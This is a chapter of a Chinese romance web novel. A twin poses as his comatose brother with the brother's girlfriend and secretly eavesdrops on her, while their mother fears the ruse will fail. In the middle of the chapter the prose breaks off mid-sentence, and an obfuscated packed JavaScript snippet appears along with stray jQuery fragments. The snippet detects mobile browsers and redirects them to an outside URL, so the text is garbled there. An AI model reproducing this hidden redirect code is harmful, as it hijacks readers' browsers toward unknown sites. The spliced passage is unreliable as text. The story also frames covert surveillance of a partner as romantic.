13.第13章

作品:《失声旖旎

    结婚?尹星旎一瞬间愣住了。


    “你......”她还没有想好怎么答复。


    祁修年一直盯着她的瞳眸,凝望着她的眉眼。


    他从她的眉眼当中窥见不少无措,但没有逃避。


    看来,她还是想要跟他,不,不是他,而是他哥结婚的,只是...太早了?


    这是他通过监听得到的答案。


    事实证明,的确如此,尹星旎现在也是这么说,她被他看得很不好意思,回避他的视线,“斯南,我...我觉得太早了,我们还没有毕业。”


    转念之间,她又着急问:“你妈妈突然提出要约我们吃饭,不会是为了这个吧?”


    今天出门,她特地收拾了自己,买了一些礼品,祁斯南很贴心,早就发消息给她,说他已经让助理准备了,放在后备箱,叫她别破费,就算是这样,尹星旎还是亲自买了一些礼物。


    祁家有钱,太贵重的礼物,她没有积蓄也买不起,所以跟她妈妈打了电话,斟酌之后,挑了一块偏淡雅的丝巾,单独做了苏绣。


    尹星旎的奶奶和妈妈都特别会刺绣,她从小耳濡目染,针线功夫也厉害,这件事情知道的人少,她也不喜欢张扬。


    但祁斯南是知道的,因为高考结束那一年,他曾经留意到她身上的刺绣,问她是不是苏绣,她说是,跟他提过一嘴。


    但不知道为什么,她这次的丝巾拿出来,他却记不得她会苏绣了,只说是栩栩如生,十分精美,问她在哪里买的?


    她当时很疑惑,问他记不得了吗?她绣的呀。


    他的表情十分不解,半晌之后才反应过来,说他忘记了,原来她还会苏绣。


    解释是他最近事情太多了,所以忘了。


    尹星旎料想应该也是这样,毕竟是前几年发生的事情了,祁斯南就算是记性很好,过目不忘,忘记也不足为奇了,更何况,他还经历了一场车祸。


    当时摔到了脑子,很多事他都忘记了,这毕竟是高中发生的事情,他记不得也正常,她奇怪了一会,并没有放在心上。


    “如果是为了结婚的事情,旎旎就不跟我去吃饭了吗?”


    “我我我我......”尹星旎听到这么说,又开始坐立难安了。


    “斯南,我真的觉得太早了。”她跟他商量,半是撒娇,半是打太极地说毕业之后再谈嘛。


    “旎旎已经睡了我,以后要对我负责到底。”


    他说她不可以甩了他,还说他想跟她结婚,很想,他要跟她白头偕老,就算是死了也要埋在一起,最好是骨灰都搅在一起,这样就分不出彼此了,再也分不清了。


    后面听着是玩笑话,却有点渗人。


    但尹星旎脸皮薄,听到一个睡字,脸瞬间爆红,都顾不上他话里话外说的那些了,她让他在外不要乱讲话,被人听见不好。


    “这里没有别人啊,而且我说得不对吗?”


    尹星旎:“......”心里又在想,难道祁斯南有‘处男情节’?


    就因为那个什么了,所以就要彻彻底底粘上.她了?但上次聊天之后,他倒是没有之前那么粘得她无比窒息。


    她乱七八糟想着,却没有说出来,只是把嘴巴闭得很紧,避免继续在青天白日聊这个暧昧的话题,免得脸越来越烫,耳朵越来越红。


    祁修年专注开车,也没有再提结婚的事情。


    尹星旎的脸散了好一会热,依旧不敢直接看他,余光扫到他操控方向盘的修长骨节,真的很匀净漂亮,有一些清浅的伤疤,但不明显,也不损好看。


    看着他的手,莫名其妙的,她想到一些令人脸红心跳的画面。


    祁修年察觉到她的视线,眼神也随之落了过来。


    迈巴赫驶入别墅的地下停车场,祁母的电话刚好打过来,祁修年单手转方向盘,把手机递给尹星旎。


    他示意她接听,她滑动之后,不好递到他的耳畔,叫了一声阿姨。


    “星旎,你们到了吧。”祁母似乎早有预料,会是她接听。


    “嗯。”尹星旎说马上就上去。


    “好。”祁母说她的饭菜也刚刚准备好。


    讲了两句电话挂断,祁修年已经把车给停好了,旁边的助理过来提东西,尹星旎刚要把手机递给帮她开了车门的祁斯南。


    谁知道他伸手,捞着她的腰肢,就把她给抱了起来。


    她吓了一跳,下意识抱着他的肩膀,环着他的脖颈。


    “斯南——”尹星旎自然是要下来,祁修年没听她的话放她下来,反而一只手抱起她,一只手关上车门,抱着她往电梯走。


    助理目不斜视,低着头提东西跟上两个人,佯装没有看到。


    尹星旎拍着他的肩膀,脸又开始红了,小声提醒,“斯南,你不要闹了,待会你妈妈看见。”


    “看见又怎么了?”


    “看见不好。”哪有在长辈面前抱来抱去的。


    祁修年还是不放她下来,抱着她进入电梯。


    “斯南!”她的声音拔高了一些,眼看着电梯的层数往上跳动,她是越来越急了。


    祁修年让她亲他一下,亲了就放她下来。


    尹星旎觉得害臊,但没有办法,只能快速亲了一下。


    谁知道她亲了,祁斯南还是不放她下来,等到电梯停住了,他才慢吞吞答应她的要求。


    尹星旎急得团团转,她发现祁斯南就算是不过分粘人,依旧强势不减,依然变化很大,跟没出车祸之前完全不一样了。


    难道出个车祸,还能把人撞得性子都转变了?


    现在不是计较这些的时候,祁母已经来迎接了。亲热拉着她的手问外面热不热?饿了么?


    尹星旎腼腆笑着说不热也不饿。


    “以后如果有空,经常跟着斯南到家里吃饭。”


    尹星旎的注意力被转移,忐忑着小心翼翼跟祁母相处,说话也格外小心。


    祁修年叫了一声母亲之后,就没再说什么了,他倚靠在吧台,看着祁母跟尹星旎说话。


    祁母明显是在打探尹星旎的口风,尹星旎察觉不出来,他作为知情人,怎么会不知道?


    说什么来家里吃饭,无非就是为了替祁斯南守着尹星旎吧。


    听那边的医生说,祁斯南的身体各项指标越来越平稳了,这意味着他随时会醒。


    是怕他跟尹星旎走得太近,将来跟他不好割舍?


    想到这,他忍不住冷笑了一下,尹星旎根本就不知道他是谁,就是察觉了一些异常而已,她喜欢的,本来就是哥哥,如果哥哥醒过来,一旦换回来了,她就不会再怀疑了。


    如果闹出了人命呢?祁修年想到祁母最担心的事情。


    如果有了孩子,她还怎么跟他撇清楚?


    难道祁斯南要当绿王八?他晃动着水杯,敛下长长的眼睫,眼底一片阴郁。


    “斯南,吃饭了。”


    祁母没聊太久,佣人把菜都端出来摆好了,她领着尹星旎洗手,三人坐到了餐桌面前。


    吃饭期间,祁母说她很喜欢尹星旎送给她的礼物,夸她有心了。


    “阿姨您喜欢就好了。”她说不值什么的。


    祁修年依旧不曾.插.话,就是听着两人交谈,然后时不时给两人夹菜。


    祁母说这些菜色都是祁斯南写了清单发给她的,所以她很清楚尹星旎的喜好。


    闻言,尹星旎朝着祁斯南看过来。


    他朝着她笑了一下。


    当着祁母的面,尹星旎还是害羞,不太敢跟他对视,她回视一下就躲闪。


    见到两人‘眉来眼去’,祁母心里不禁翻涌着情绪。


    真的是演戏吗?


    祁修年对尹星旎太上心了,不仅仅是摸清楚了她的喜好,还特别体贴,虽然说他扮演着祁斯南的身份,这都是他应该做的,但是...装得太像了。


    到底是不是装,祁母都要分不清楚了。


    刚刚两人从地下车库上来,她在监控里面已经看到了,祁修年抱着尹星旎亲热。


    人后也要这个样子?


    她害怕事情出现偏颇,到时候闹得不可开交。


    老天保佑,最好真的是演戏,祁修年别对尹星旎动什么心思,否则闹起来,兄弟两个,手心手背都是肉,帮谁都不是。


    祁母不断安抚着自己的情绪,应该不会出问题的。


    祁修年不会是这种人,他和祁斯南是双胞胎,祁斯南温柔阳光,他的性格也不会差到什么地方去。


    而且尹星旎也是拎得清的,只要祁斯南醒了,一切都会恢复正常的。


    医生说了,他就快要醒了。


    那天她去探望他,走了之后,监控里面可以看到,他的手指动了两下,看来之后还是要多跟他提提尹星旎。


    他对尹星旎这个女朋友是很在乎的。


    祁母安抚着自己,给祁修年和尹星旎都夹了菜。


    祁修年看着她夹过来的肉和青椒,顿了一会,强忍着恶心吃了下去。


    他的好母亲真是偏心,她以为所有都是一样的吗?


    他最讨厌青椒,她却不知道。


    她记得兄长的喜好,唯独记不得他的。


    吃过饭之后,祁斯南有会议要开,助理说会议室已经准备好了。


    祁母让他上会议室去,她陪着尹星旎说话。


    祁修年看向尹星旎,站到她身边来,伸手给她抚了抚头发,顺到耳边去,“旎旎跟我母亲待在一起,可以吗?”


    他要忙工作上的事情,尹星旎当然不敢耽误了。


    她点头说没有问题,让他去忙。


    “我一会就结束了。”他收回手的时候,指尖忍不住摩挲了她的侧脸。


    隐晦归隐晦,尹星旎怎么会感受不到,她背对着祁母,眉眼都浮现了羞赧。


    祁修年薄唇微勾,没有再说什么。


    只是跟察觉到两人亲密,脸色有些难看的祁母,笑着说一句,“母亲,儿子去忙了,您帮儿子照看旎旎一会,好吗?”


    祁母脸上的情绪隐藏得快,当着尹星旎的面,同样笑着说了一声好。


    祁修年走后,祁母和尹星旎都盯着他的背影。


    尹星旎是不好意思,祁母则是担忧。


    她到底是过来人,有一些诡异的直觉。


    “阿姨,您如果有事,可以去忙的,我自己在这里等斯南,没有什么问题。”


    “今天下午有一个拍卖会,你和我一起去可以吗?”


    祁母今天本来是有行程的,原本吃了饭就要过去了,但祁修年要忙,她也不可能把尹星旎撂在这里,更何况,还要探探两人之间的相处呢。


    拍卖会?


    尹星旎一个普通工薪家庭的孩子,哪里去过这种地方,心生胆怯,便回绝了祁母,但祁母说想要带着她去。


    “之前第一次见你实在是唐突,没有刻意准备,我给你的见面礼太单薄了,这一次你去看看有没有什么喜欢的,阿姨给你买。”


    拍卖会的东西不得贵上天啊,尹星旎怎么敢接这句话,她两只手都摆上来,连忙说不用了。


    说到第一次见祁母收到的见面礼,价值百万的珍藏玉镯,那还叫单薄?她那天都快吓死了,不敢收,祁母非压着她收下,至今放在她那里家里的小私库里,戴都不敢戴,真的是当成祖宗供着。


    这么贵重的东西,她怎么敢戴,要是不小心磕碰到,损失的钱......


    “见面礼已经很贵重了,阿姨不用费心给我准备什么的。”她说真的很不好意思。


    本来她家和祁家的财力就不对等,她怎么好意思收这么多?


    “没事,都是小问题。”祁母笑着拍了拍她的手,说先带她去做造型,换衣服。


    祁母一锤定音,牵着她往外走,尹星旎只能.硬.着头皮跟上。


    “对了,斯南那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368066|198630||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    边...”她企图把祁斯南给搬出来,让祁母放弃带着她去拍卖会的念头。


    谁知道,祁母只是吩咐了佣人,让别墅的佣人一会给祁斯南带话。


    “放心,我们很快救回来了。”


    坐上车,尹星旎两腿并拢,说不出的拘谨。


    祁母看穿,让她别紧张,“难道阿姨会吃人吗?”


    尹星旎说不会,只是......


    她欲言又止,祁母却说她明白的,“你不必觉得不好意思,我们两家差距是有点大,但平心而论,你们家也是不错的,我们家找媳妇,都是看眼缘,不讲究什么门当户对,只要斯南喜欢就好,而且,阿姨也很喜欢你。”


    早在祁斯南跟尹星旎交往的那一年,祁母已经叫人调查过尹星旎了。


    看了她的生平档案,又观察了一段时间,知道尹星旎性格乖巧温软,相貌又生得好,学习也不差,家里人都不错,她这边就没什么挑剔的了。


    “这东西的价格无法对等,但其实只要用心就好。”她又提到尹星旎给她送的丝巾,夸她手巧,“之前在国外,我也找人买过类似的丝巾,但都没有你绣的这个好。”


    祁母这个身家地位,什么好东西没见过,她又喜欢丝巾,夸尹星旎的这句话,更是发自肺腑。


    “阿姨你太客气了,你喜欢就好,如果可以的话,我还可以再绣了送给您。”


    “好啊,但也别累到自己。”祁母说她不着急的。


    转而又问到尹星旎的学业,关心她要不要考研?


    尹星旎摇头说不想考研了,就是辅导员那边要敷衍一下。


    祁母刚刚说的话让她不那么紧张了,她也就随心了一些。


    祁母说:“你们年轻人有想法就好。”


    “你之后实习找单位,可以让斯南帮忙。”祁母说这年轻人实习,还是要找好一点的单位,跟着前辈们学习,也能多积攒经验,少走弯路。


    “好。”尹星旎表示她都记下了。


    很快就到了做造型换衣服的地方,这里祁母常来,用的化妆师和造型师都是定好的。


    那造型师一见到尹星旎就围着她夸,说她身材好皮肤白,穿什么都好看,这完全不挑衣服。


    化妆师也说她皮肤好,弯腰温声问她想做个什么发型。


    尹星旎看向祁母,她自己挑的话,自然是日常妆,但是一想到待会要去的地方,又拿不定主意。


    祁母感受到她求助的目光,跟造型师交涉,给尹星旎化一个淡妆,不用过度粉饰。


    “好的,祁太太。”化妆师表示她了解了。


    尹星旎坐下之后,祁母就在她的旁边,看着化妆师给她化妆。


    没一会就化好了,尹星旎睁开眼的时候,自己也觉得惊艳,这个妆不浓,却将她化得很有气色,很莹润漂亮。


    “您五官漂亮,其实不用怎么修饰的。”


    化妆师在旁边夸着,尹星旎腼腆应话,没一会跟着造型师去旁边换小礼服。


    这一身淡黄色小礼服设计出众,特别掐腰,显出她姣好的身段,又不失俏皮,一看就异常灵动娇美。


    祁母满意点头说不错,尹星旎却觉得不习惯。


    她跟着祁母上了车,去往拍卖会。


    一路上,祁母又夸了她好几句,随后又问了她和祁斯南的相处怎么样?


    祁修年虽然在开会,但从祁母把尹星旎带走的那一会,就打开了私人手机的监听翻译软件。


    看到这一句,他的指尖敲打着手机,一下接着一下,很漫不经心。


    “都挺好的。”尹星旎还是那句话。


    而且她觉得奇怪,因为这句话,祁母之前就问过了,为什么还要重复地问啊?


    祁母难道看不出来她和祁斯南之间挺好的吗?


    还是祁母要问别的什么东西?


    “挺好就好,我是真的害怕斯南私下里欺负你,你性子害羞,不好意思跟我说。”祁母也担心露馅,补了一句。


    尹星旎说不会,祁斯南性格很好,不会欺负她,他的那些欺负,都是情侣之间的欺负,怎么好跟长辈说嘛。


    跟闺蜜说还差不多,但是她的好闺蜜最近去封闭集训了,已经好久联系不上,恐怕还要好几个月,才能回来。


    “真的吗?”祁母反问。


    听到这句话,尹星旎方才压下去的奇怪心思又漂浮了上来。


    祁母难道不清楚祁斯南的性子吗?反问这句真的吗是个什么意思。


    现在是好机会,思来想去,祁母干脆就直接问了,“星旎,你有没有感觉斯南变了一些?”


    问出这句话很冒险,但也没有办法了。


    她要看看,祁修年私下里有没有跟尹星旎相处时,露出什么破绽,亦或者存了别的心思,比如说,觊觎勾引自己亲哥的女朋友。


    尹星旎抬眼,下意识就要说的确有,可是...这都是她跟祁斯南之间的事情。


    怎么好对长辈说啊?


    祁母虽然不错,但到底是男朋友的妈妈,她对着男朋友的妈妈说男朋友不好?


    不行不行。


    她连自己的亲妈都没说祁斯南车祸以后怪怪的,跟祁母更不能说了。


    即便是觉得祁母的问话很奇怪,但她还是压了下去。


    “没有啊,一切都很好,没什么变的地方。”她这样回。


    祁母盯着她看了一会,没有看出她撒谎,心里的大石头落了地。


    但很快又悬了起来,她提到另外一件事情。


    “星旎,论理这句话,不应该我来说,怕你多想,但...我还是要提一句,但你放心,阿姨绝对没有别的意思。”


    她真是没办法了,才跟尹星旎提。


    “您有话就说嘛。”


    祁母说:“你和斯南现在都还年轻,有些事情还是要注意做防护措施啊。”


    绝对绝对,不能闹出人命来,不能怀孕。